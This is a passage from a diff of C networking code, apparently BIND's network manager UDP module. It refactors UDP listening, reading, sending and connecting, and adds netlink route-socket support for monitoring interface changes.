+	REQUIRE(VALID_NM(mgr));
+	REQUIRE(isc_tid() == 0);
+
+	if (isc__nm_closing(worker)) {
+		return (ISC_R_SHUTTINGDOWN);
+	}
+
+	if (workers == 0) {
+		workers = mgr->nloops;
+	}
+	REQUIRE(workers <= mgr->nloops);
+
+	sock = isc_mem_get(worker->mctx, sizeof(isc_nmsocket_t));
+	isc__nmsocket_init(sock, worker, isc_nm_udplistener, iface, NULL);
 
-	atomic_init(&sock->rchildren, 0);
-	sock->nchildren = mgr->nworkers;
-	children_size = sock->nchildren * sizeof(sock->children[0]);
-	sock->children = isc_mem_get(mgr->mctx, children_size);
-	memset(sock->children, 0, children_size);
+	sock->nchildren = (workers == ISC_NM_LISTEN_ALL) ? (uint32_t)mgr->nloops
+							 : workers;
+	sock->children = isc_mem_cget(worker->mctx, sock->nchildren,
+				      sizeof(sock->children[0]));
+
+	isc__nmsocket_barrier_init(sock);
 
 	sock->recv_cb = cb;
 	sock->recv_cbarg = cbarg;
-	sock->extrahandlesize = extrahandlesize;
-	sock->result = ISC_R_UNSET;
 
-	sock->tid = 0;
-	sock->fd = -1;
+	if (!mgr->load_balance_sockets) {
+		fd = isc__nm_udp_lb_socket(mgr, iface->type.sa.sa_family);
+	}
+
+	start_udp_child(mgr, iface, sock, fd, 0);
+	result = sock->children[0].result;
+	INSIST(result != ISC_R_UNSET);
 
-#if !HAVE_SO_REUSEPORT_LB
-	fd = isc__nm_udp_lb_socket(iface->type.sa.sa_family);
-#endif
+	for (size_t i = 1; i < sock->nchildren; i++) {
+		start_udp_child(mgr, iface, sock, fd, i);
+	}
+
+	isc_barrier_wait(&sock->listen_barrier);
 
-	isc_barrier_init(&sock->startlistening, sock->nchildren);
+	if (!mgr->load_balance_sockets) {
+		isc__nm_closesocket(fd);
+	}
 
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		if ((int)i == isc_nm_tid()) {
-			continue;
+	/*
+	 * If any of the child sockets have failed then isc_nm_listenudp
+	 * fails.
+	 */
+	for (size_t i = 1; i < sock->nchildren; i++) {
+		if (result == ISC_R_SUCCESS &&
+		    sock->children[i].result != ISC_R_SUCCESS)
+		{
+			result = sock->children[i].result;
 		}
-		start_udp_child(mgr, iface, sock, fd, i);
 	}
 
-	if (isc__nm_in_netthread()) {
-		start_udp_child(mgr, iface, sock, fd, isc_nm_tid());
+	if (result != ISC_R_SUCCESS) {
+		sock->active = false;
+		isc__nm_udp_stoplistening(sock);
+		isc_nmsocket_close(&sock);
+
+		return (result);
 	}
 
-#if !HAVE_SO_REUSEPORT_LB
-	isc__nm_closesocket(fd);
+	sock->active = true;
+
+	*sockp = sock;
+	return (ISC_R_SUCCESS);
+}
+
+#ifdef USE_ROUTE_SOCKET
+static isc_result_t
+route_socket(uv_os_sock_t *fdp) {
+	isc_result_t result;
+	uv_os_sock_t fd = -1;
+#ifdef USE_NETLINK
+	struct sockaddr_nl sa;
+	int r;
 #endif
 
-	LOCK(&sock->lock);
-	while (atomic_load(&sock->rchildren) != sock->nchildren) {
-		WAIT(&sock->cond, &sock->lock);
+	result = isc__nm_socket(ROUTE_SOCKET_PF, SOCK_RAW,
+				ROUTE_SOCKET_PROTOCOL, &fd);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
-	result = sock->result;
-	atomic_store(&sock->active, true);
-	UNLOCK(&sock->lock);
-
-	INSIST(result != ISC_R_UNSET);
 
-	if (result == ISC_R_SUCCESS) {
-		REQUIRE(atomic_load(&sock->rchildren) == sock->nchildren);
-		*sockp = sock;
-	} else {
-		atomic_store(&sock->active, false);
-		enqueue_stoplistening(sock);
-		isc_nmsocket_close(&sock);
+#ifdef USE_NETLINK
+	sa.nl_family = PF_NETLINK;
+	sa.nl_groups = RTMGRP_LINK | RTMGRP_IPV4_IFADDR | RTMGRP_IPV6_IFADDR;
+	r = bind(fd, (struct sockaddr *)&sa, sizeof(sa));
+	if (r < 0) {
+		isc__nm_closesocket(fd);
+		return (isc_errno_toresult(r));
 	}
+#endif
 
-	return (result);
+	*fdp = fd;
+	return (ISC_R_SUCCESS);
 }
 
-/*
- * Asynchronous 'udplisten' call handler: start listening on a UDP socket.
- */
-void
-isc__nm_async_udplisten(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_udplisten_t *ievent = (isc__netievent_udplisten_t *)ev0;
-	isc_nmsocket_t *sock = NULL;
-	int r, uv_bind_flags = 0;
-	int uv_init_flags = 0;
-	sa_family_t sa_family;
-	isc_result_t result = ISC_R_UNSET;
+static isc_result_t
+route_connect_direct(isc_nmsocket_t *sock) {
+	isc__networker_t *worker = NULL;
+	int r;
 
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-	REQUIRE(VALID_NMSOCK(ievent->sock->parent));
+	REQUIRE(sock->tid == isc_tid());
 
-	sock = ievent->sock;
-	sa_family = sock->iface.type.sa.sa_family;
+	worker = sock->worker;
 
-	REQUIRE(sock->type == isc_nm_udpsocket);
-	REQUIRE(sock->parent != NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
+	sock->connecting = true;
 
-#ifdef UV_UDP_RECVMMSG
-	uv_init_flags |= UV_UDP_RECVMMSG;
-#endif
-	r = uv_udp_init_ex(&worker->loop, &sock->uv_handle.udp, uv_init_flags);
-	RUNTIME_CHECK(r == 0);
+	r = uv_udp_init(&worker->loop->loop, &sock->uv_handle.udp);
+	UV_RUNTIME_CHECK(uv_udp_init, r);
 	uv_handle_set_data(&sock->uv_handle.handle, sock);
-	/* This keeps the socket alive after everything else is gone */
-	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
 
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
+	r = uv_timer_init(&worker->loop->loop, &sock->read_timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
 
-	LOCK(&sock->parent->lock);
+	if (isc__nm_closing(worker)) {
+		return (ISC_R_SHUTTINGDOWN);
+	}
 
 	r = uv_udp_open(&sock->uv_handle.udp, sock->fd);
-	if (r < 0) {
-		isc__nm_closesocket(sock->fd);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
+	if (r != 0) {
+		return (isc_uverr2result(r));
 	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
 
-	if (sa_family == AF_INET6) {
-		uv_bind_flags |= UV_UDP_IPV6ONLY;
-	}
+	isc__nm_set_network_buffers(sock->worker->netmgr,
+				    &sock->uv_handle.handle);
 
-#if HAVE_SO_REUSEPORT_LB
-	r = isc_uv_udp_freebind(&sock->uv_handle.udp,
-				&sock->parent->iface.type.sa, uv_bind_flags);
-	if (r < 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
+	sock->connecting = false;
+	sock->connected = true;
+
+	return (ISC_R_SUCCESS);
+}
+
+#endif /* USE_ROUTE_SOCKET */
+
+isc_result_t
+isc_nm_routeconnect(isc_nm_t *mgr, isc_nm_cb_t cb, void *cbarg) {
+#ifdef USE_ROUTE_SOCKET
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *sock = NULL;
+	isc__nm_uvreq_t *req = NULL;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
+	uv_os_sock_t fd = -1;
+
+	REQUIRE(VALID_NM(mgr));
+	REQUIRE(isc_tid() == 0);
+
+	if (isc__nm_closing(worker)) {
+		return (ISC_R_SHUTTINGDOWN);
 	}
-#else
-	if (sock->parent->fd == -1) {
-		/* This thread is first, bind the socket */
-		r = isc_uv_udp_freebind(&sock->uv_handle.udp,
-					&sock->parent->iface.type.sa,
-					uv_bind_flags);
-		if (r < 0) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_BINDFAIL]);
-			goto done;
-		}
-		sock->parent->uv_handle.udp.flags = sock->uv_handle.udp.flags;
-		sock->parent->fd = sock->fd;
-	} else {
-		/* The socket is already bound, just copy the flags */
-		sock->uv_handle.udp.flags = sock->parent->uv_handle.udp.flags;
+
+	result = route_socket(&fd);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
-#endif
 
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
+	sock = isc_mem_get(worker->mctx, sizeof(*sock));
+	isc__nmsocket_init(sock, worker, isc_nm_udpsocket, NULL, NULL);
 
-	r = uv_udp_recv_start(&sock->uv_handle.udp, isc__nm_alloc_cb,
-			      udp_recv_cb);
-	if (r != 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
-	}
+	sock->connect_cb = cb;
+	sock->connect_cbarg = cbarg;
+	sock->client = true;
+	sock->route_sock = true;
+	sock->fd = fd;
 
-	atomic_store(&sock->listening, true);
+	req = isc__nm_uvreq_get(sock);
+	req->cb.connect = cb;
+	req->cbarg = cbarg;
+	req->handle = isc__nmhandle_get(sock, NULL, NULL);
 
-done:
-	result = isc__nm_uverr2result(r);
-	atomic_fetch_add(&sock->parent->rchildren, 1);
-	if (sock->parent->result == ISC_R_UNSET) {
-		sock->parent->result = result;
+	sock->active = true;
+
+	result = route_connect_direct(sock);
+	if (result != ISC_R_SUCCESS) {
+		sock->active = false;
+		isc__nm_udp_close(sock);
 	}
-	SIGNAL(&sock->parent->cond);
-	UNLOCK(&sock->parent->lock);
 
-	isc_barrier_wait(&sock->parent->startlistening);
+	isc__nm_connectcb(sock, req, result, true);
+
+	isc__nmsocket_detach(&sock);
+
+	return (ISC_R_SUCCESS);
+#else  /* USE_ROUTE_SOCKET */
+	UNUSED(mgr);
+	UNUSED(cb);
+	UNUSED(cbarg);
+	UNUSED(extrahandlesize);
+	return (ISC_R_NOTIMPLEMENTED);
+#endif /* USE_ROUTE_SOCKET */
 }
 
-void
-isc__nm_udp_stoplistening(isc_nmsocket_t *sock) {
+/*
+ * Asynchronous 'udpstop' call handler: stop listening on a UDP socket.
+ */
+static void
+stop_udp_child_job(void *arg) {
+	isc_nmsocket_t *sock = arg;
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_udplistener);
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->parent != NULL);
 
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
+	sock->active = false;
+
+	isc__nm_udp_close(sock);
 
-	if (!isc__nm_in_netthread()) {
-		enqueue_stoplistening(sock);
+	REQUIRE(!sock->worker->loop->paused);
+	isc_barrier_wait(&sock->parent->stop_barrier);
+}
+
+static void
+stop_udp_child(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+
+	if (sock->tid == 0) {
+		stop_udp_child_job(sock);
 	} else {
-		stop_udp_parent(sock);
+		isc_async_run(sock->worker->loop, stop_udp_child_job, sock);
 	}
 }
 
-/*
- * Asynchronous 'udpstop' call handler: stop listening on a UDP socket.
- */
 void
-isc__nm_async_udpstop(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_udpstop_t *ievent = (isc__netievent_udpstop_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
+isc__nm_udp_stoplistening(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->type == isc_nm_udplistener);
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->tid == 0);
+	REQUIRE(!sock->closing);
 
-	UNUSED(worker);
+	sock->closing = true;
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
+	/* Mark the parent socket inactive */
+	sock->active = false;
 
-	if (sock->parent != NULL) {
-		stop_udp_child(sock);
-		return;
+	/* Stop all the other threads' children */
+	for (size_t i = 1; i < sock->nchildren; i++) {
+		stop_udp_child(&sock->children[i]);
 	}
 
-	stop_udp_parent(sock);
+	/* Stop the child for the main thread */
+	stop_udp_child(&sock->children[0]);
+
+	/* Stop the parent */
+	sock->closed = true;
+	isc__nmsocket_prep_destroy(sock);
 }
 
 /*
@@ -332,38 +468,40 @@ isc__nm_async_udpstop(isc__networker_t *worker, isc__netievent_t *ev0) {
  * reused for a series of packets, so we need to allocate a new one.
  * This new one can be reused to send the response then.
  */
-static void
-udp_recv_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
-	    const struct sockaddr *addr, unsigned flags) {
+void
+isc__nm_udp_read_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
+		    const struct sockaddr *addr, unsigned int flags) {
 	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)handle);
 	isc__nm_uvreq_t *req = NULL;
 	uint32_t maxudp;
-	bool free_buf;
-	isc_sockaddr_t sockaddr;
 	isc_result_t result;
+	isc_sockaddr_t sockaddr, *sa = NULL;
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->reading);
+	REQUIRE(sock->tid == isc_tid());
 
-#ifdef UV_UDP_MMSG_FREE
-	free_buf = ((flags & UV_UDP_MMSG_FREE) == UV_UDP_MMSG_FREE);
-#elif UV_UDP_MMSG_CHUNK
-	free_buf = ((flags & UV_UDP_MMSG_CHUNK) == 0);
+	/*
+	 * When using recvmmsg(2), if no errors occur, there will be a final
+	 * callback with nrecv set to 0, addr set to NULL and the buffer
+	 * pointing at the initially allocated data with the UV_UDP_MMSG_CHUNK
+	 * flag cleared and the UV_UDP_MMSG_FREE flag set.
+	 */
+#if HAVE_DECL_UV_UDP_MMSG_FREE
+	if ((flags & UV_UDP_MMSG_FREE) == UV_UDP_MMSG_FREE) {
+		INSIST(nrecv == 0);
+		INSIST(addr == NULL);
+		goto free;
+	}
 #else
-	free_buf = true;
 	UNUSED(flags);
 #endif
-
-	/*
-	 * Three possible reasons to return now without processing:
-	 */
-
 	/*
+	 * Possible reasons to return now without processing:
+	 *
 	 * - If we're simulating a firewall blocking UDP packets
 	 *   bigger than 'maxudp' bytes for testing purposes.
 	 */
-	maxudp = atomic_load(&sock->mgr->maxudp);
+	maxudp = atomic_load_relaxed(&sock->worker->netmgr->maxudp);
 	if ((maxudp != 0 && (uint32_t)nrecv > maxudp)) {
 		/*
 		 * We need to keep the read_cb intact in case, so the
@@ -374,11 +512,18 @@ udp_recv_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
 	}
 
 	/*
-	 * - If addr == NULL, in which case it's the end of stream;
-	 *   we can free the buffer and bail.
+	 * - If there was a networking error.
+	 */
+	if (nrecv < 0) {
+		isc__nm_failed_read_cb(sock, isc_uverr2result(nrecv), false);
+		goto free;
+	}
+
+	/*
+	 * - If the network manager is shutting down
 	 */
-	if (addr == NULL) {
-		isc__nm_failed_read_cb(sock, ISC_R_EOF, false);
+	if (isc__nm_closing(sock->worker)) {
+		isc__nm_failed_read_cb(sock, ISC_R_SHUTTINGDOWN, false);
 		goto free;
 	}
 
@@ -390,16 +535,30 @@ udp_recv_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
 		goto free;
 	}
 
-	if (nrecv < 0) {
-		isc__nm_failed_read_cb(sock, isc__nm_uverr2result(nrecv),
-				       false);
+	/*
+	 * End of the current (iteration) datagram stream, just free the buffer.
+	 * The callback with nrecv == 0 and addr == NULL is called for both
+	 * normal UDP sockets and recvmmsg sockets at the end of every event
+	 * loop iteration.
+	 */
+	if (nrecv == 0 && addr == NULL) {
+		INSIST(flags == 0);
 		goto free;
 	}
 
-	result = isc_sockaddr_fromsockaddr(&sockaddr, addr);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	/*
+	 * We could receive an empty datagram in which case:
+	 * nrecv == 0 and addr != NULL
+	 */
+	INSIST(addr != NULL);
+
+	if (!sock->route_sock) {
+		result = isc_sockaddr_fromsockaddr(&sockaddr, addr);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		sa = &sockaddr;
+	}
 
-	req = isc__nm_get_read_req(sock, &sockaddr);
+	req = isc__nm_get_read_req(sock, sa);
 
 	/*
 	 * The callback will be called synchronously, because result is
@@ -408,124 +567,50 @@ udp_recv_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
 	req->uvbuf.base = buf->base;
 	req->uvbuf.len = nrecv;
 
-	sock->recv_read = false;
+	sock->reading = false;
+
+	/*
+	 * The client isc_nm_read() expects just a single message, so we need to
+	 * stop reading now.  The reading could be restarted in the read
+	 * callback with another isc_nm_read() call.
+	 */
+	if (sock->client) {
+		isc__nmsocket_timer_stop(sock);
+		isc__nm_stop_reading(sock);
+		isc__nmsocket_clearcb(sock);
+	}
 
 	REQUIRE(!sock->processing);
 	sock->processing = true;
-	isc__nm_readcb(sock, req, ISC_R_SUCCESS);
+	isc__nm_readcb(sock, req, ISC_R_SUCCESS, false);
 	sock->processing = false;
 
 free:
-	if (free_buf) {
-		isc__nm_free_uvbuf(sock, buf);
+#if HAVE_DECL_UV_UDP_MMSG_CHUNK
+	/*
+	 * When using recvmmsg(2), chunks will have the UV_UDP_MMSG_CHUNK flag
+	 * set, those must not be freed.
+	 */
+	if ((flags & UV_UDP_MMSG_CHUNK) == UV_UDP_MMSG_CHUNK) {
+		return;
 	}
-}
-
-/*
- * Send the data in 'region' to a peer via a UDP socket. We try to find
- * a proper sibling/child socket so that we won't have to jump to
- * another thread.
- */
-void
-isc__nm_udp_send(isc_nmhandle_t *handle, const isc_region_t *region,
-		 isc_nm_cb_t cb, void *cbarg) {
-	isc_nmsocket_t *sock = handle->sock;
-	isc_nmsocket_t *rsock = NULL;
-	isc_sockaddr_t *peer = &handle->peer;
-	isc__nm_uvreq_t *uvreq = NULL;
-	uint32_t maxudp = atomic_load(&sock->mgr->maxudp);
-	int ntid;
-
-	INSIST(sock->type == isc_nm_udpsocket);
+#endif
 
 	/*
-	 * We're simulating a firewall blocking UDP packets bigger than
-	 * 'maxudp' bytes, for testing purposes.
-	 *
-	 * The client would ordinarily have unreferenced the handle
-	 * in the callback, but that won't happen in this case, so
-	 * we need to do so here.
+	 * When using recvmmsg(2), if a UDP socket error occurs, nrecv will be <
+	 * 0. In either scenario, the callee can now safely free the provided
+	 * buffer.
 	 */
-	if (maxudp != 0 && region->length > maxudp) {
-		isc_nmhandle_detach(&handle);
-		return;
-	}
-
-	if (atomic_load(&sock->client)) {
-		/*
-		 * When we are sending from the client socket, we directly use
-		 * the socket provided.
-		 */
-		rsock = sock;
-		goto send;
-	} else {
+	if (nrecv < 0) {
 		/*
-		 * When we are sending from the server socket, we either use the
-		 * socket associated with the network thread we are in, or we
-		 * use the thread from the socket associated with the handle.
+		 * The buffer may be a null buffer on error.
 		 */
-		INSIST(sock->parent != NULL);
-
-		if (isc__nm_in_netthread()) {
-			ntid = isc_nm_tid();
-		} else {
-			ntid = sock->tid;
+		if (buf->base == NULL && buf->len == 0) {
+			return;
 		}
-		rsock = &sock->parent->children[ntid];
 	}
 
-send:
-	uvreq = isc__nm_uvreq_get(rsock->mgr, rsock);
-	uvreq->uvbuf.base = (char *)region->base;
-	uvreq->uvbuf.len = region->length;
-
-	isc_nmhandle_attach(handle, &uvreq->handle);
-
-	uvreq->cb.send = cb;
-	uvreq->cbarg = cbarg;
-
-	if (isc_nm_tid() == rsock->tid) {
-		REQUIRE(rsock->tid == isc_nm_tid());
-		isc__netievent_udpsend_t ievent = { .sock = rsock,
-						    .req = uvreq,
-						    .peer = *peer };
-
-		isc__nm_async_udpsend(NULL, (isc__netievent_t *)&ievent);
-	} else {
-		isc__netievent_udpsend_t *ievent =
-			isc__nm_get_netievent_udpsend(sock->mgr, rsock);
-		ievent->peer = *peer;
-		ievent->req = uvreq;
-
-		isc__nm_enqueue_ievent(&sock->mgr->workers[rsock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-}
-
-/*
- * Asynchronous 'udpsend' event handler: send a packet on a UDP socket.
- */
-void
-isc__nm_async_udpsend(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc_result_t result;
-	isc__netievent_udpsend_t *ievent = (isc__netievent_udpsend_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *uvreq = ievent->req;
-
-	REQUIRE(sock->type == isc_nm_udpsocket);
-	REQUIRE(sock->tid == isc_nm_tid());
-	UNUSED(worker);
-
-	if (isc__nmsocket_closing(sock)) {
-		isc__nm_failed_send_cb(sock, uvreq, ISC_R_CANCELED);
-		return;
-	}
-
-	result = udp_send_direct(sock, uvreq, &ievent->peer);
-	if (result != ISC_R_SUCCESS) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_SENDFAIL]);
-		isc__nm_failed_send_cb(sock, uvreq, result);
-	}
+	isc__nm_free_uvbuf(sock, buf);
 }
 
 static void
@@ -539,98 +624,125 @@ udp_send_cb(uv_udp_send_t *req, int status) {
 
 	sock = uvreq->sock;
 
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
 
 	if (status < 0) {
-		result = isc__nm_uverr2result(status);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_SENDFAIL]);
+		isc__nm_incstats(sock, STATID_SENDFAIL);
+		isc__nm_failed_send_cb(sock, uvreq, isc_uverr2result(status),
+				       false);
+		return;
 	}
 
 	isc__nm_sendcb(sock, uvreq, result, false);
 }
 
 /*
- * udp_send_direct sends buf to a peer on a socket. Sock has to be in
- * the same thread as the callee.
+ * Send the data in 'region' to a peer via a UDP socket. We try to find
+ * a proper sibling/child socket so that we won't have to jump to
+ * another thread.
  */
-static isc_result_t
-udp_send_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
-		isc_sockaddr_t *peer) {
-	const struct sockaddr *sa = &peer->type.sa;
+void
+isc__nm_udp_send(isc_nmhandle_t *handle, const isc_region_t *region,
+		 isc_nm_cb_t cb, void *cbarg) {
+	isc_nmsocket_t *sock = handle->sock;
+	const isc_sockaddr_t *peer = &handle->peer;
+	const struct sockaddr *sa = sock->connected ? NULL : &peer->type.sa;
+	isc__nm_uvreq_t *uvreq = NULL;
+	isc__networker_t *worker = NULL;
+	uint32_t maxudp;
 	int r;
+	isc_result_t result;
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(req));
-	REQUIRE(sock->tid == isc_nm_tid());
 	REQUIRE(sock->type == isc_nm_udpsocket);
+	REQUIRE(sock->tid == isc_tid());
 
-	if (isc__nmsocket_closing(sock)) {
-		return (ISC_R_CANCELED);
-	}
+	worker = sock->worker;
+	maxudp = atomic_load(&worker->netmgr->maxudp);
 
-#if UV_VERSION_HEX >= UV_VERSION(1, 27, 0)
 	/*
-	 * If we used uv_udp_connect() (and not the shim version for
-	 * older versions of libuv), then the peer address has to be
-	 * set to NULL or else uv_udp_send() could fail or assert,
-	 * depending on the libuv version.
+	 * We're simulating a firewall blocking UDP packets bigger than
+	 * 'maxudp' bytes, for testing purposes.
+	 *
+	 * The client would ordinarily have unreferenced the handle
+	 * in the callback, but that won't happen in this case, so
+	 * we need to do so here.
 	 */
-	if (atomic_load(&sock->connected)) {
-		sa = NULL;
+	if (maxudp != 0 && region->length > maxudp) {
+		isc_nmhandle_detach(&handle);
+		return;
 	}
-#endif
 
-	r = uv_udp_send(&req->uv_req.udp_send, &sock->uv_handle.udp,
-			&req->uvbuf, 1, sa, udp_send_cb);
-	if (r < 0) {
-		return (isc__nm_uverr2result(r));
+	uvreq = isc__nm_uvreq_get(sock);
+	uvreq->uvbuf.base = (char *)region->base;
+	uvreq->uvbuf.len = region->length;
+
+	isc_nmhandle_attach(handle, &uvreq->handle);
+
+	uvreq->cb.send = cb;
+	uvreq->cbarg = cbarg;
+
+	if (isc__nm_closing(worker)) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto fail;
 	}
 
-	return (ISC_R_SUCCESS);
+	if (isc__nmsocket_closing(sock)) {
+		result = ISC_R_CANCELED;
+		goto fail;
+	}
+
+	r = uv_udp_send(&uvreq->uv_req.udp_send, &sock->uv_handle.udp,
+			&uvreq->uvbuf, 1, sa, udp_send_cb);
+	if (r < 0) {
+		isc__nm_incstats(sock, STATID_SENDFAIL);
+		result = isc_uverr2result(r);
+		goto fail;
+	}
+	return;
+fail:
+	isc__nm_failed_send_cb(sock, uvreq, result, true);
 }
 
 static isc_result_t
 udp_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
-	isc__networker_t *worker = NULL;
 	int uv_bind_flags = UV_UDP_REUSEADDR;
-	isc_result_t result = ISC_R_UNSET;
-	int tries = 3;
 	int r;
+	isc__networker_t *worker = sock->worker;
 
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	worker = &sock->mgr->workers[isc_nm_tid()];
-
-	atomic_store(&sock->connecting, true);
-
-	r = uv_udp_init(&worker->loop, &sock->uv_handle.udp);
-	RUNTIME_CHECK(r == 0);
+	r = uv_udp_init(&worker->loop->loop, &sock->uv_handle.udp);
+	UV_RUNTIME_CHECK(uv_udp_init, r);
 	uv_handle_set_data(&sock->uv_handle.handle, sock);
 
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
+	r = uv_timer_init(&worker->loop->loop, &sock->read_timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
 
 	r = uv_udp_open(&sock->uv_handle.udp, sock->fd);
 	if (r != 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
+		isc__nm_incstats(sock, STATID_OPENFAIL);
+		return (isc_uverr2result(r));
 	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
+	isc__nm_incstats(sock, STATID_OPEN);
 
 	if (sock->iface.type.sa.sa_family == AF_INET6) {
 		uv_bind_flags |= UV_UDP_IPV6ONLY;
 	}
 
+#if HAVE_DECL_UV_UDP_LINUX_RECVERR
+	uv_bind_flags |= UV_UDP_LINUX_RECVERR;
+#endif
+
 	r = uv_udp_bind(&sock->uv_handle.udp, &sock->iface.type.sa,
 			uv_bind_flags);
 	if (r != 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
+		isc__nm_incstats(sock, STATID_BINDFAIL);
+		return (isc_uverr2result(r));
 	}
 
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
+	isc__nm_set_network_buffers(sock->worker->netmgr,
+				    &sock->uv_handle.handle);
 
 	/*
 	 * On FreeBSD the UDP connect() call sometimes results in a
@@ -638,196 +750,98 @@ udp_connect_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
 	 * giving up.
 	 */
 	do {
-		r = isc_uv_udp_connect(&sock->uv_handle.udp,
-				       &req->peer.type.sa);
-	} while (r == UV_EADDRINUSE && --tries > 0);
+		r = uv_udp_connect(&sock->uv_handle.udp, &req->peer.type.sa);
+	} while (r == UV_EADDRINUSE && --req->connect_tries > 0);
 	if (r != 0) {
-		isc__nm_incstats(sock->mgr,
-				 sock->statsindex[STATID_CONNECTFAIL]);
-		goto done;
-	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CONNECT]);
-
-	atomic_store(&sock->connecting, false);
-	atomic_store(&sock->connected, true);
-
-done:
-	result = isc__nm_uverr2result(r);
-
-	LOCK(&sock->lock);
-	sock->result = result;
-	SIGNAL(&sock->cond);
-	if (!atomic_load(&sock->active)) {
-		WAIT(&sock->scond, &sock->lock);
+		isc__nm_incstats(sock, STATID_CONNECTFAIL);
+		return (isc_uverr2result(r));
 	}
-	INSIST(atomic_load(&sock->active));
-	UNLOCK(&sock->lock);
-
-	return (result);
-}
-
-/*
- * Asynchronous 'udpconnect' call handler: open a new UDP socket and
- * call the 'open' callback with a handle.
- */
-void
-isc__nm_async_udpconnect(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_udpconnect_t *ievent =
-		(isc__netievent_udpconnect_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *req = ievent->req;
-	isc_result_t result;
+	isc__nm_incstats(sock, STATID_CONNECT);
 
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_udpsocket);
-	REQUIRE(sock->parent == NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	result = udp_connect_direct(sock, req);
-	if (result != ISC_R_SUCCESS) {
-		atomic_store(&sock->active, false);
-		isc__nm_udp_close(sock);
-		isc__nm_connectcb(sock, req, result, true);
-	} else {
-		/*
-		 * The callback has to be called after the socket has been
-		 * initialized
-		 */
-		isc__nm_connectcb(sock, req, ISC_R_SUCCESS, true);
-	}
-
-	/*
-	 * The sock is now attached to the handle.
-	 */
-	isc__nmsocket_detach(&sock);
+	return (ISC_R_SUCCESS);
 }
 
 void
 isc_nm_udpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		  isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		  size_t extrahandlesize) {
+		  isc_nm_cb_t cb, void *cbarg, unsigned int timeout) {
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_nmsocket_t *sock = NULL;
-	isc__netievent_udpconnect_t *event = NULL;
 	isc__nm_uvreq_t *req = NULL;
